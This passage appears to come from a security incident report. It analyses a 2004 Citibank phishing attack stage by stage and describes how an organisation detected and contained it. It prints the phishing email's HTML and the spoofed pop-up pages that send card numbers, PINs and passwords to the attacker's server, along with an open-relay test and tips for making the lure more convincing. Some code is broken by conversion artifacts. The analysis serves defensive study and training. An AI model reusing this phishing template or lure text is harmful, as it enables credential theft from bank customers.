   The attacker will consider and decide a crude description of their targets. At this phase, it will not be into great details and done with some web-searches. The result for this phase will be minimal.

3. Spoofed organization
   Details on spoofed organization will be decided and collected at this information. The attacker can simply browse to spoofed organization main page to study URL syntax and conventions.

4. Detection and prevention
   Detection would be difficult at this stage, as the attacker will try to search information in 3rd party such as Domain registrars, IP registrars, security website, and others. As for prevention, companies should limit the information exposed to public that will be cached in search engines.

### Scanning

1. SMTP Server
   The attacker may also choose to do a scanning with security scanner tools (freeware and commercials). Most of security tools would be able to detect open relay vulnerability if exist. These are automated scanner tools that can scan ranges of subnets at one go.

Let's look at the manual way of checking if a server is open relay.

```
Friendly> telnet 208.153.xx.x 25
port=25
Trying 208.153.xx.x...
Connected to 208.153.xx.x.
Escape character is '^]'.
Ready at Mon Aug 23 03:36:21 2004
HELO www.friendly.com
250 ext_pdns_check.org Welcome www.friendly.com
MAIL FROM: wolves@friendly.com
250 wolves@friendly.com ... OK
RCPT TO: mg25@yahoo.com
554 SPAM-Relay detected
```

In the example above, the attacker tried to send email as wolves@friendly.com, however, it was detected as a spam-relay. If the server still were an open relay, it would accept data input and finally send to victim. The site above is listed in http://www.openrelaychecker.com up to 23rd August 2004. It looks the server has been fixed.
2. Victims
In order for a phishing attacks to be successful, the attacker has to scan their potential victims by several factors, for example:

- **Geographic location**
  For a phishing attacks to be successful, it has to be relevant with the victim's condition. This means if we are exploiting a United States financial institution then, the victim should most likely reside in United States and vice versa.

  In this example, the attacker is using Citibank America’s brand and site for the attack. The victim should reside in United States or work in US-based companies for other location.

- **Organization profile**
  Profiling victim’s organization at the big scale would help. There is higher possibility for phishing recipients to become victims when the organization profile matches the phishing targets.

  The attacker may target employees from Multi-national or big companies. It is very simple to identify these companies that are listed in Fortune 500 list. The employee, from these companies, more likely to have an account in Citibank.

- **Personal identifiable information**
  Other information that leads to categorization of individual into a certain specific group would certainly help. People that work in finance industries would have higher probably having an account at Citibank.

There are many commercial software\(^{37}\) that can do email harvesting. They will search the Usenet archives, search engines, mailing list archives for email addresses and populate the database for use in execution phase. All these information is raw, and need some manual work to pick the suitable targets.

3. Spoofed organization
In this phase, the attacker will collect great details of spoofed organization websites, such as the main page URL, icons URLs and the style. The idea is to mimic as close as possible to the real organization communication.

By going to main page of spoofed organization, and viewing the source code, the information can be obtained easily. The same valid for email communication, where samples of emails are accessible for members or email archives on web pages.
In this attack, the attacker visited Citibank homepage and copied html files for further analysis. S/He will be able to determine the style and URL of icons to be used in phishing form.

4. Enhancement
Current phishing attacks works by enticing user to give away their credentials in financial institutions. The same attacks are applicable for corporate espionage. To facilitate this enhanced phishing attack, the information should be somewhat in higher reliability and accurate to specific targeted category. An attacker may:

- Collects reliable and accurate personal identifiable information through events. Business cards are dropped freely in events, and sometimes they are required to attend corporate events. 3rd party event organizer companies normally organize these events, and assurance of these business contacts normally is not guaranteed. These companies employ many temporary or part-time workers during the event, making such information accessible to unauthorized party.
- Filter and co-relate the business contacts with the profile or targeted attack
- Getting a final list of specifically targeted victims to achieve the objective.

An example of this enhanced phishing attacks can be a hacker hired by a competitor. S/He intentionally works in companies that deal with Target Company. Once information is collected, he did the homework and came up with a list of executives in rival companies. This list will be used as an input to the next step.

5. Detection and Prevention
At this stage, fingerprinting and scanning will generate ‘noise’, and logged. Administrators should design their logging system correctly and read them for anomalies identification.

To protect business contact from breach, 3rd party companies should sign Non-Disclosure Agreement (NDA). Their temporary workers should do the same too. This is a deterrent measure, and can be useful in court for any legal litigation.

Companies should also educate their employee to start questioning why other companies would require their information. For example, corporate events will always require registration and the form will ask more questions that needed to confirm seat availability. A well-known organization even asked National Identification Card number and Birthday date in an annual National IT event recently.
Exploiting the System

1. SMTP Server
   The SMTP server can be exploited in a number of ways. As we have investigated below the compromised FTP server was insecurely configured with null session being enabled. It is also possible that the attacker compromise the workstation with other methods such as Trojan, worms with backdoor, RPC vulnerability, etc.

   As there are too many methods and it was not known how exactly the attacker compromised the system, it will not be discussed in great detail in this section. Alternatively, the attacker could just simply use available open-relay server without having to compromise any system.

   The attacker will then send out phishing emails to victims by certain bulk-mailing software.

   The victim will receive the email from attacker as follows:

   ![Figure 24 The phishing email has arrived at victim's mailbox](image)

2. Victims
   The attacker prepared an email, web server and a couple of web scripts. The email can be read in Figure 19 Phishing attack to Citibank Customer.
   Let's look at the source code of the email.

   ```html
   <html>
   <head>
   <title>Untitled Document</title>
   </head>
   <body bgcolor="#FFFFFF" text="#000000">
   <b>Dear Citibank Customer</b>,
   
   We recently noticed one or more attempts to log in to your Citibank account from a foreign IP address and we have reasons to believe that there was attempts to compromise it with brute forcing your PIN number. No successful login was detected and you have full protection by now. If you recently accessed your account while travelling, the unusual login attempts may have been initiated by you.
   
   The login attempt was made from:
   
   IP address: 193.07.287.024
   ISP Host: cache-824.proxyserver.cis.com
   
   By now, we used many techniques to verify the accuracy of the information our users provide us when they register on the Site. However, because user verification on the Internet is difficult, Citibank cannot and does not confirm each user's purported identity. Thus, we have established an offline verification system to help you evaluate with whom you are dealing with. The system is called CitiSafe and it's the most secure Citibank wallet so far.
   ```
The information that can be gathered from this email source code is:

a. It is an HTML email message
b. Does not exploit any weakness
c. Does not attempt to obfuscate malicious URL
d. Rely solely on social engineering (context)
e. Real URL is http://222.223.128.32/confirm

HTML email message has known to be a potentially dangerous message. A lot of times worms, scripts, vulnerabilities are executed within HTML emails.

The next element of attack would be the phishing website itself. The server runs on Redhat Linux (Fedora) operating system and Apache 2.0.47 as web server. It hosts only three files related to phishing attacks: index.html, pop.php, process.php.

Figure 25 Browser display as soon Victim clicked the link
Source code of `index.html`:

```html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Citibank</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript" type="text/javascript">
<!-- Hide script from older browsers
setTimeout("changePage()");

function changePage() {
    if (self.parent.frames.length != 0)
        self.parent.location=document.location;
}
// end hiding contents -->
</script>
<meta http-equiv="refresh" content="0;URL=https://web.daus.citibank.com/cgi-bin/citiif/scrip/mcycti/support.jsp">
<SCRIPT LANGUAGE="JavaScript">
<!--begin
{window.open('pop.php','MyWindow','scrollbars=no,resizable=no,toolbar=no,width=350,height=430,left=350,top=200');}
// end --> </SCRIPT></head><body></body></html>
```

This is a very simple trick yet effective. As soon as the victim clicks the link to http://222.223.128.32/confirm, the web server will load a spoof page. What it does, first it load page with title Citibank, and this is done to decrease any suspiciousness of victim while the page loads. The next line contains `meta http-equiv="refresh"` tag, that instruct browser to reload the client after page load completed. Before this window refreshed with real Citibank website, it execute a pop-up command (pop.php) that mimic Citibank’s style. After the pop-up executed, user will use a warning that s/he is entering an SSL-encrypted webpage. In split seconds, the victim will see a real Citibank main page with a small pop-up window that looks like Citibank.

When loading the pop.php, which is the script for pop-up phishing form, the attacker uses graphics from Citibank UK e.g. http://www.citibank.co.uk/uk/images/wave_new.gif. Therefore, it is very convincing and realistic. Different than previous phishing attacks.

The victim will fill up the fields and then click on ‘Continue’. It will post all the inputs from users to `process.php`. The file is hosted in server side and not accessible to victims or investigators. The pop-up phishing form uses vDaemon to validate data entries, and define on what criteria input will be added to local database.
pop.php will send user input to process.php. Here is the raw data sent from pop-up:

```
CardNumber=1234123412341234&CurrentPIN=4321&NewPIN=Directo...
```

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Now, let see how vDaemon actually interacts with web server:

Vdaemon can perform server side and client side validation. Client side (javascript) validation is optional and can be turned off (default is on). Vdaemon performs validation on the server even if the validation have already performed on the client. It helps prevent users from being able to bypass validation by disabling or changing the client script.

Server-Side Validation

When the user submits a form to the server, VDaemon code is invoked to review the user's input. If an error has occurred in any of the input controls, the page itself is set to an invalid state (validation failed) and user is redirected back to the form page with displayed error messages. If validation passed, user code specified on form processing page is invoked. Thus, VDaemon doesn't change HTML forms behavior except it always redirects visitor to the form page until visitor enters fully valid data. It allows easily incorporate VDaemon validation into existed web sites.

**Figure 26 VDaemon and how it works**

In the following code sample below, we will look in practice how Vdaemon works:

```php
<?php include('vdaemon/vdaemon.php'); ?>
<html>
<head>
<title>VDaemon Validation Sample</title>
<style type="text/css">
/*
.default
{
  font-family: Arial, Helvetica, sans-serif;
  font-size: 12px;
  font-weight: bold
}
.defaultErr
{
  font-family: Arial, Helvetica, sans-serif;
  font-size: 12px;
  font-weight: bold;
  color: #FF0000
}*/
</style>
</head>
```
Quick contact form.

<form method="POST" name="QContact" runat="vdaemon" action="process.php">

<vlsummary class="defaultErr" headertext="Error(s) found:">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="100">
<vllabel class="default" errclass="defaultErr" validators="NameReq">Your Name:</vllabel>
</td>
<td width="200">
<input name="Name" type="text" size="25">
<vvalidator name="NameReq" type="required" control="Name" errmsg="Name required">
</td>
</tr>
<tr>
<td width="100">
<vllabel class="default" errclass="defaultErr" validators="EmailReq,Email">Your E-mail:</vllabel>
</td>
<td width="200">
<input type="text" name="Email" size="25">
<vvalidator name="EmailReq" type="required" control="Email" errmsg="E-mail required">
<vvalidator name="Email" type="email" control="Email" errmsg="Invalid E-mail">
</td>
</tr>
<tr>
<td colspan="2">
<vllabel class="default" errclass="defaultErr" validators="MessageReq">Your Message/Question:</vllabel>
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="Message" cols="40" rows="7" wrap="virtual"></textarea>
<vvalidator name="MessageReq" type="required" control="Message" errmsg="Message required">
</td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Send">
</td>
</tr>
</table>
</form>
</body>
</html>
The sample above is taken from Vdaemon documentation page. There are three inputs on the form: name, email address, and message. On name input, there is a control to check if name is entered. If it is left empty, an error message will be displayed and form will not be stored in database. The same situation is valid for ‘message’ field. On email, it will have two controls: a control to make sure it is filled, and a proper input in email syntax.

The attacker is smart enough to use Vdaemon secure edition. What this means that the controls for data validation are encrypted. Decrypting encrypted control codes are beyond the scope of document.
Leonard Ong  Stages of the Attack

Figure 27 Display that victim will see next

Source code of pop.php

```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Citibank - Confirm your identity</title>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
    if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
        document.MM_pgW=innerWidth; document.MM_pgH=innerHeight;
onresize=MM_reloadPage; }
    else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH)
        location.reload(); }
} MM_reloadPage(true);
//-->
</script>
<style type="text/css">
<!--
.default
{
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
}
.defaultErr
-->
</style>
</head>
<body>
</body>
</html>
```
Leonard Ong  Stages of the Attack

{ font-family: Arial, Helvetica, sans-serif;
  font-size: 11px;
  color: #FF0000;
}
.style1 {font-family: Arial, Helvetica, sans-serif}
-->

</style>
</head>
<body topmargin="0" leftmargin="0" bgcolor="#FFFFFF">
<form name="Citi" method="post" runat="vdaemon" action="process.php">
<table width="350" height="61" border="0" align="center" cellpadding="0" cellspacing="0"
bordercolor="#111111" id="AutoNumber1" style="border-collapse: collapse">
<tr>
<td height="36" background="http://www.citibank.co.uk/uk/images/wave_new.gif"></td>
</tr>
<tr>
<td width="100%" height="42" >
<table width="350" height="42" border="0"
cellpadding="0" cellspacing="0">
<tr>
<td width="10" height="42"></td>
<td width="340"><img src="http://www.citibank.co.uk/uk/images/logo3.gif"
width="96" height="42"></td>
</tr>
</table>
</td></tr>
</table>
<table width="350" border="0" align="center" cellpadding="3" cellspacing="0"
bordercolor="#111111" id="AutoNumber5" style="border-collapse: collapse">
<tr>
<td bgcolor="#CCCCCC"><img src="/images/trans.gif" width="1" height="1"></td>
</tr>
</table>
<table width="350" border="0" align="center" cellpadding="0" cellspacing="0"
bordercolor="#111111" id="AutoNumber4" style="border-collapse: collapse">
<tr>
<td height="22">
<div align="center"><b><font face="Arial, Helvetica, sans-serif" size="2">Please update your ATM/Debit Card number</font></b></div>
</td>
</tr>
</table>
<table width="350" border="0" align="center" cellpadding="0" cellspacing="0"
bordercolor="#111111" id="AutoNumber5" style="border-collapse: collapse">
<tr>
<td height="22">
<div align="center"><b><font face="Arial, Helvetica, sans-serif" size="2">Invalid card #.</font></b></div>
</td>
</tr>
</table>
<table width="350" border="0" align="center" cellpadding="0" cellspacing="0"
bordercolor="#111111" id="AutoNumber5" style="border-collapse: collapse">
<tr>
<td height="28">
<div align="center">Invalid card #.</div>
</td>
</tr>
</table>
</form>
</body>
<table>
<thead>
<tr>
<th>TD</th>
<th>AT/M Debit Card (CIN) / Card #</th>
</tr>
</thead>
<tbody>
<tr>
<td>TD</td>
<td>ATM PIN #</td>
</tr>
<tr>
<td>TD</td>
<td>User ID</td>
</tr>
<tr>
<td>TD</td>
<td>Password</td>
</tr>
</tbody>
</table>

To verify your identity enter your login and password that you use to login on our site!
The pop-up is cleverly done with original images from Citibank UK, and by the use of tabling to control precise display. It will also run some validation to make sure that entries with empty will be marked as invalid.
Let's look how difficult it is for victim to distinguish false from real web page. There will be a number of screenshots following this paragraph. The screenshots are important to illustrate the phishing attack and why it is exploiting human primarily.

Casual business users normally would not bother to look at the lock icon on bottom right of the page, not to mention page property, or even source code. When it looks real, the users will buy it. Furthermore, the phishing pop-up page did not ask excessive information, lowering the alarm from user. The page is close to perfect as it can be.

Figure 28 enforced the analysis above, the main page has valid certificate in addition to legitimate origin. On the other hand, pop-up page shows different origin, and there is no SSL-encryption. Without SSL, the attacker cleverly wrote 128-bit SSL on lower left portion.
Leonard Ong  Stages of the Attack

Figure 29 Certificate being use for SSL encryption is valid and trusted

Figure 30 Pop-up property shows it is a fake
Leonard Ong  Stages of the Attack

Figure 31 Closer look at the pop-up

Figure 32 Pop-up display is different from Internet explorer
Leonard Ong

Stages of the Attack

Citibank - Confirm your identity has the following structure:

- http://222.223.128.32/confimpop.php
  - Form 1:
    - Action URL: http://222.223.128.32/confimprocess.php
    - Encoding: application/x-www-form-urlencoded (default)
    - Method: Post
  - Image: http://www.citibank.co.uk/de/images/lupa-3.gif
  - Image: http://222.223.128.32/images/trans.gif
  - Image: http://web-ac.da-da.citibank.co.uk/images/balzers/buttons/color_ban.gif
  - Image: http://222.223.128.32/images/trans.gif
  - Image: http://www.citibank.co.uk/german/images/men_samp.gif
  - Image: http://www.citibank.de/service/images/hompage100k.gif

**Figure 33** Pop-up page property shows it is a fake

Support has the following structure:

- https://web-da-da.citibank.com/cgi-bin/atifcripts/confirm/support.snp
  - Form 1:
    - Action URL: https://web-da-da.citibank.com/cgi-bin/atifcripts/confirm/support.snp
    - Encoding: application/x-www-form-urlencoded (default)
    - Method: Get
  - Form 2:
    - Action URL: https://web-da-da.citibank.com/cgi-bin/atifcripts/confirm/support.snp
    - Encoding: application/x-www-form-urlencoded (default)
    - Method: Get
  - Form 3:
    - Action URL: https://web-da-da.citibank.com/cgi-bin/atifcripts/confirm/support.snp
    - Encoding: application/x-www-form-urlencoded (default)

**Figure 34** Main page property shows its legitimate origin

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Netscape display the legitimate main page exactly the same as Internet explorer does, however, it is not the case with pop-up page. If we look carefully, Figure 32 between title bar and Citibank icon, there is no blue wave. This is again not really noticeable when a user has bowed to attacker's psychological pressure.

Netscape page properties on Figure 33 and Figure 34 provide the same information as Internet explorer. Both of the browsers are able to tell the origin of each page.

The victim filled the pop-up page with confidential information, and upon clicking ‘continue’ icon, and the input will be passed to `process.php`.

3. Enhancement
   The attack can be enhanced with a number of ways:
   • Correcting grammatical errors
   • Rewriting the email in professional business manner
   • Hiding the URL by using exploit described in CAN-2004-0526
   • Correcting display in Netscape to be parsed correctly as IE.
   • Rewriting the tone of message to lower any sign of pressure

The attack is technically very simple in nature, however, cleverly done. The only weaknesses would be the message itself that resembles fake emails.

For corporate espionage, phishing can be targeted to collect username and password for access, privilege escalation and stealing information asset that are useful for competitors. It can also be a form of survey to collect certain confidential information by mimicking victim organization intranet web pages.

4. Detection and Prevention
   The sign of detection has been discussed in great detail in section ‘Attacker network’. As discussed previously, there have been challenges in identifying various phishing attacks.

Let's focus on detection of the Citibank phishing attack on sniffer log. Complete log of information flow between victims, attacker, Citibank U.S., Citibank UK is available at appendix for further reference. The log shows in great details how the client get redirected to both legitimate and phishing site at the same time.
In order to prevent phishing from attacking victims, employees must be educated about information security awareness training regularly. In real-life situation, this is hardly achievable except in government.

One method that always works is to have policy in place for sanctions failing to observe information security. The policy should be the guide for maintaining information security in organizations and justification for enforcement. Policy by itself is not sufficient. It has to be tied into employees performance review and bonus system. For example, employees need to attend mandatory security awareness training every half-year, and in turn, they will receive a bonus.

Technical aid to prevent phishing attack, however, still end-users education is the dominant element. Technical measure such as: signing important email message with digital signature, and updating vulnerable browsers and email clients.
Figure 35 Information flow of Phishing attack
Keeping Access

1. SMTP Server

As soon as the attacker gains access to an open relay server, s/he might want to harden the server. The goal of hardening compromised server is to avoid any disruption by other attackers that are trying to use the same resources. Another goal would be to prevent any parties to access the compromised server and retrieve logs that may prove attacker’s crime.

Hardening a server can be done by installing some-sort of packet filtering, for example Window XP’s personal firewall to allow only incoming connection from Attacker’s IP. In order to do this, the attacker should gain a remote access to compromised workstation either by Trojan or hacking tools such as netcat.

One example is to exploit the SMTP server with dcom32.exe. After having access to command prompt, the attacker could upload remote control software and modify the setting on the server.
2. Victim
Information obtained from victim does not last long. It will be sooner than later, the victim will realize that they have been deceived. In this case, there is no way to prolong the validity of confidential information. The attacker should use the information immediately to execute his/her crime and achieve the objectives.

According to Anti-Phishing working group, Phishing site will stay only for slightly over two days. In our example it disappears between 36-48 hours period.

3. Enhancement
Financial institution employed rigorous controls and fraud verifications. Therefore, the benefits for financial information of individuals are not of high value. When used to target certain organization for their information assets, the information would last longer. This is possible as many organizations are always overwhelmed with information flows and control is normally not rigorous.

4. Detection and Prevention
Detection will be very difficult, as investigator will on average 2.25 days to collect information on phishing site. As the attacks become more sophisticated, they will target business users rather than those IT super-users.

As with any incidents, there is a gap between the victims and authorities. There might be many incidents or intrusion attempts that are not reported. A victim might not report phishing attack at all, and wait for financial institution to take action. He/She might also try to deal this personally, and does not inform Information Response Team.

The solution for this is again users education. When users understand the importance of incident reporting, the gap can be narrowed and investigations can be carried in much more efficient manner.
Covering Tracks.

1. SMTP server
   When the attacker has completed his/her attacks, the server does not have any further use. The attacker can delete all the logs and harden the workstation. By erasing all logs and making it secure, other parties no longer can access the server.

   It is very difficult this point onwards, as any efforts will require search warrant from legal authorities and follows-up with forensic investigation.

2. Phishing web server
   Time is the key cover tracks. The shorter a phishing web server goes online, the less likely it will get investigated. Attackers seem to realize this point very well, as the average life of phishing web server is on average 2.25 days.

3. Detection and Prevention
   Detection is possible despite the timeline. In order to launch a full-scale investigation, good coordination between legal enforcement, investigators, victims, spoofed organizations, ISPs and authorities are needed. Only when these parties open to each other, and work together, they will be able to isolate the attacker.
The Incident Handling Process

The following incident handling process was taken to handle phishing attack above. The goal is to describe a real-life incident handling process that has proven to work in this case.

Preparation Phase

In this phase, all action points should be completed before incident happens. With good preparations, incident handling can be made shorter and with increased chance of success. Likewise, an ill-prepared team will find tackling incidents as an impossible task.

Existing Incident Handling Procedures

There are two ways for any employees to report any incidents or potential incident. An IRT mailbox and hotline are always available 24/7. IRT team has response time of 1 hour to prepare and start investigating with identification and next phases.

Roles and responsibilities are defined clearly to minimize confusion during a real incident. Flowcharts and incident handling procedures are documented in crisis management policy.

In summary, the organization has a sound and secure network with clearly defined roles, responsibilities and procedures. It is the benefit of large enterprise that has been well established in corporate world.

A jump-kit is provided for every security specialist/expert, containing at least the following:

- 2 (two) Pentium III – 1.6 Ghz laptop with double hard drives each and 512MB-1GB RAM. Windows 2000 and XP are installed on first hard drive and Company’s distribution of Linux operation system on the second.

  The idea is to have two operating systems running at the same time without having to slow down the system when executing investigation/forensics. Another use would be using a laptop to do imaging and the others for further investigation at the same time. The extra expense were justified and approved by the management last year.

- 2 (two) 60GB spare notebook hard drives for creating forensic image

  The hard drives were upgraded earlier this year from 40GB. They should be sufficient to make images of normal servers and workstations.

- 1 (one) tape recorder with at least 2 tapes at one hour each.
The tapes are required to record comments during investigation. Additional recording can be obtained from MP3 recording software in the laptops.

- 4 (four) Page-numbered notebooks
  The notebooks are specially ordered notebooks with unique serial numbers to all specialists. The audit control requires pages are numbered for identification of any missing pages or evidence removal.

- 1 (one) removable CDR/CD-RW drive attachable to the notebooks

- 10 (ten) discs of each CDR/CD-RW
  Certain investigation requires information to be written to WORM media for authenticity.

- 1 (one) removable floppy drive with 10 blank floppies.

- 512-MB flash disk. The disk is usable to store information from bootable Linux CDs that do not have capabilities of storing or loading information.

- Bootable CDs of Operating System, System tools, and security tools: Knoppix Linux, Auditor (Moser-informatik), Winternal Administrator’s Pak, and commercial forensic tools.

- Instant-print Camera

- 8-port 3COM hub for protocol analysis

- Mobile phone with all IRT-related phone information programmed in SIM-card. Charger and extra battery included.

- Laminated card of Incident handling process flowchart and a booklet of security policies

- Flashlight with extra batteries to last at least 4 hours.
Existing Countermeasures

1. Network devices (Routers and switches)
   Router and switches are configured with warning banner for legal prosecution in case of unauthorized use. User privileges are defined into several levels and each user has a unique one-time password. Implementing OTP with Token cards provides strong authentication.

   Routers and layer-3 switches are normally configured to do egress and ingress filtering for anti-spoofing. Change management to network devices is managed centrally by a global team, and will have to go through a formal change management procedure. This will prevent any unwanted impact due to lack of communication.

   With the exception of network devices vulnerabilities, the devices are secure by following best practices. Configurations are audited every half-year.

2. Firewalls
   Firewall rules are configured in accordance to defined access control matrix. Deviation from allowed connections will go through an exception board for approval. The firewall is configured securely by using a stateful filtering in conjunction with content filtering. Everything is denied except when allowed explicitly.

   The organization is running market leader commercial firewall software that offers service-level agreement on vulnerabilities fixes and software issues.

3. Authentication services
   Secure services such as administration of network and security devices will require strong authentication with one-time password token. While normal applications Operating system’s password is used. During the upgrade to Windows 2000 and XP, older and insecure authentication protocols have been disabled (LanMan) and replaced with stronger authentication (Kerberos).

4. Logging
   Log from Firewalls and network devices are sent to regional and global servers. Devices will not store any logs locally. This really deters the attackers from altering logs on compromised system, as they have to compromised logging servers located in other regions. These servers hardened and protected.

5. Intrusion detection
   Sensors, IDSes and co-relation engines are deployed in extranet platform. There has been many debate on the effectiveness of IDS, however, the
organization believe IDS will serve as an early warning of any attacks. It is better than being blind and waiting to get compromised.

The co-relation engine is one of the most significant parts of IDS service. It will further filter IDS alerts into a more usable and reliable warnings.

6. Vulnerability assessment

Security is all about being pro-active. The service is provided on-demand or in audit mode. The commercial solution will scan a network for vulnerabilities and feedback the result to system owners. They would take necessary actions to make sure their systems are up to date.

As it takes only one infected worms to spread into vast intranet, Vulnerability assessment service is very valuable in auditing insecure servers and services

7. Public Key Infrastructure

PKI is applied not only in inter-employees communications but inter-devices too. Many network and security devices are being managed by encrypted protocols e.g. SSH and HTTPS. PKI has been implemented a couple years back, and it helped to trust the devices we are accessing. Certificates are trusted, and authentications are using certificates whenever possible.

8. Security awareness

New employees induction incorporates security awareness training. There are sample cases such as working in café where people can do shoulder surfing (looking to your work from behind), or faxing to a wrong number (without proper checking typed number before dialing), and so on.

Incident Handling Team

The IRT has been formed and the members includes:

1. Senior Managers from various departments as stake holders
2. Specialists/Experts in security, that directly related in investigation
3. Legal counsels
4. Communication specialists (Public Relations)

IRT is a virtual team, and they are activated only when incident arises. The full-time members belong to specialists/experts in security. These individuals are ready all the time to handle any incident. The members will have monthly meeting to stay in touch and discuss any relevant issues.

Security specialist and experts are constantly trained to keep abreast of security knowledge. The management has put aside a budget for training, understanding the importance of skill sets in incident handling.
Policy Examples

Policies are the compass in an organization, defining what can and cannot be done. It is the foundation for all other decisions. A well-established company should have many policies covering many aspects. On security-related policies, there are:

1. IT Security
2. Collaboration
3. Vulnerability management
4. Travel security
5. Telecommuting
6. Remote access
7. Security management
8. Security awareness
9. Operation security
10. Premise security
11. Personnel security
12. Meeting security
13. Logistic security
14. Email and messaging security
15. Crisis management
16. Crime prevention

The sixteen policies above are part of total set of policies that have been established and enforced in the organization. The number of policies has shown that the management views security is one of important factor for company’s survival.

Now that the organization has a very good coverage on security, it has to be socialized to correct people. Business users may need to understand and follow some general policies, e.g. Meeting Security, Travel Security, Premise Security, and so on. While for IRT members, they have to be well versed at all security policies, including crisis management, vulnerability management and incident handling processes.

Identification Phase

It was another day at work, and reading emails has been the practice to start the work. I noticed that there was an interesting email from Citibank, and many employees all around the world have accounts with Citibank. When I looked at it, it resembled a phishing email. It triggers my alarm to investigate further. It was targeted to individuals rather than the company. Individuals that are affected by this attack will be vulnerable to other phishing attacks. Next time we may not be fortunate enough, because it might target the company.
The attack itself, when successful, can reduce employees' productivity, as their
time will be taken to sort out their exposed account issue. All these potential
adverse impact would make this as a candidate of an incident.

The email was forwarded to an IT security specialist, while I belong to Network
security team. The plan was to identify and investigates the incident separately.
We agreed that this is not a priority 1 that needs full IRT to be activated.

Incident Timeline

Times are in GMT +8

<table>
<thead>
<tr>
<th>No</th>
<th>Date</th>
<th>Time</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>04.08.2004</td>
<td>02:55</td>
<td>Email was received in internal mail server and delivered to my mailbox</td>
</tr>
<tr>
<td>2</td>
<td>04.08.2004</td>
<td>09:30</td>
<td>Read the email</td>
</tr>
<tr>
<td>3</td>
<td>04.08.2004</td>
<td>09:32</td>
<td>Forwarded the email to IT security specialist</td>
</tr>
<tr>
<td>4</td>
<td>04.08.2004</td>
<td>09:33</td>
<td>Called IT security specialist to coordinate investigation</td>
</tr>
<tr>
<td>5</td>
<td>04.08.2004</td>
<td>09:36</td>
<td>Sent email to Email server admin to block SMTP server</td>
</tr>
<tr>
<td>6</td>
<td>04.08.2004</td>
<td>09:38</td>
<td>Sent email to NOC to block phishing web server</td>
</tr>
<tr>
<td>7</td>
<td>04.08.2004</td>
<td>09:40</td>
<td>Investigation began; First screen shot Fig. 37 above taken. Further screenshots taken in anticipation of phishing site disappearance.</td>
</tr>
<tr>
<td>8</td>
<td>04.08.2004</td>
<td>09:48</td>
<td>Email header analysis started</td>
</tr>
<tr>
<td>9</td>
<td>04.08.2004</td>
<td>10:41</td>
<td>Email header analysis completed. Spoofed email confirmed and SMTP server identified.</td>
</tr>
<tr>
<td>10</td>
<td>04.08.2004</td>
<td>15:18</td>
<td>Phishing source code analysis completed</td>
</tr>
<tr>
<td>11</td>
<td>04.08.2004</td>
<td>16:15</td>
<td>SMTP and Web server information gathered</td>
</tr>
<tr>
<td>12</td>
<td>04.08.2004</td>
<td>17:00</td>
<td>Meeting with IT Security specialist and reports submitted to IRT repository</td>
</tr>
<tr>
<td>13</td>
<td>04.08.2004</td>
<td>19:00</td>
<td>Advisory email sent globally to warn about Phishing emails, and a summary what it does to raise awareness</td>
</tr>
<tr>
<td>14</td>
<td>05.08.2004</td>
<td>15:00</td>
<td>Phishing web server has gone offline</td>
</tr>
</tbody>
</table>

Incident was detected by questioning suspicious email about security update request from Citibank. It was confirmed as soon as the content were analyzed, which contains grammatical errors and psychological pressure. Technical analysis enforced the confirmation.
The only countermeasure that would work would be security awareness policy and IT security policy. Employees are given security awareness training at their induction. There are portion of employees that the induction did not contain topics on phishing attacks.

The attack can be identified very quickly, however, as agreed that is not a priority one incident. The investigation took longer time than they could have been due to higher priority investigation going on at the same time.

Most of the findings on identification phase are discussed in ‘Attacker Network’ section.

In summary the attack is identified by:

1) Common sense
   1. Misspelled words
   2. Bad grammar
   3. Suspicious contents
   4. Social engineering by pressure and obligation
   5. No disclaimer or consumer advise to prevent phishing at end of email
   6. On mouse focus, does not show the same URL as displayed
   7. For a very important warning and urgent request, it is not digitally signed
   8. Ask for all information that allows recipient of that information to identify/repudiate oneself to financial institution.
   9. As financial and other organizations have liabilities of due-care, they will never ask confidential information via insecure means. This mean anything but SSL-encrypted web with valid certificate should not be trusted.

Detection is very easy with this example. The grammar may make sense with a fast reading, but with closer look it contains many errors. The third octet of IP address quoted, is invalid (.287, max is .255). The title brings suspicions as they use abbreviations. The content would not make sense, as banks will normally limit incorrect login before locking up an account, hence brute-force attack would not be a choice by crackers. Even if they do use brute-force, it will be locked and manual authorization (by signature) is required to reactivate.

2) Technical Analysis
   Email header analysis and phishing pop-up form analysis starting page 33.
Chain of Custody

Although this is a lower priority incident case, the normal chain of custody procedure will still have to be followed. The notes written on numbered pages are submitted by registered mail to Headquarter for repository as part of incident report file.

The entire screen captures, network scan results, raw network traffic, reports and other information written on a CDR. Tapes on comments recorded while doing the investigation, are sent together with CDR and notes.

Containment Phase

Phishing is a different attack from other malicious attack. As mentioned before, fortunately, current attack was targeted to individual with little risk to company’s information assets.

Containment Measures

Sending security advisory by email to possible victims in the organization can help to contain the attack. In this case, it is mostly relevant to employees that are based in United States and originated from United States.

In order to contain the attack, during the investigation but right after confirming the phishing attack, these tasks were taken:

1. Adding access-list in proxy servers to block http://222.223.128.32
2. Adding host 218.51.6.47 as black-listed open-relay in SMTP servers

As the organization network is designed to be secure, users do not have direct access to Internet. Email should be received from external and internal email servers. Web access has to go through via proxy. With blocking the phishing web server in proxy servers, user who fell for the trick will not be able to access the page from corporate network. Likewise for further email deliveries from the SMTP server will be stopped after applying the access list.

After the investigation, a security advisory email was sent to users to explain the real threat and what they should do the next time they see similar phishing email.
Jump Kit Components

For this incident, the jump kit components used were:

- 2 (two) Pentium III – 1.6 Ghz laptop with double hard drives each and 512MB-1GB RAM. Auditor bootable Linux OS is running on the first laptop and Windows XP is running on the others.
- 1 (one) tape recorder with at least 2 tapes at one hour each.
- 1 (one) Page-numbered notebooks
- 1 (one) removable CDR/CD-RW drive attachable to the notebooks
- 1 (one) CDR to store all screen captures, scan result, raw traffic capture, and other information
- Auditor (Moser-informatik)
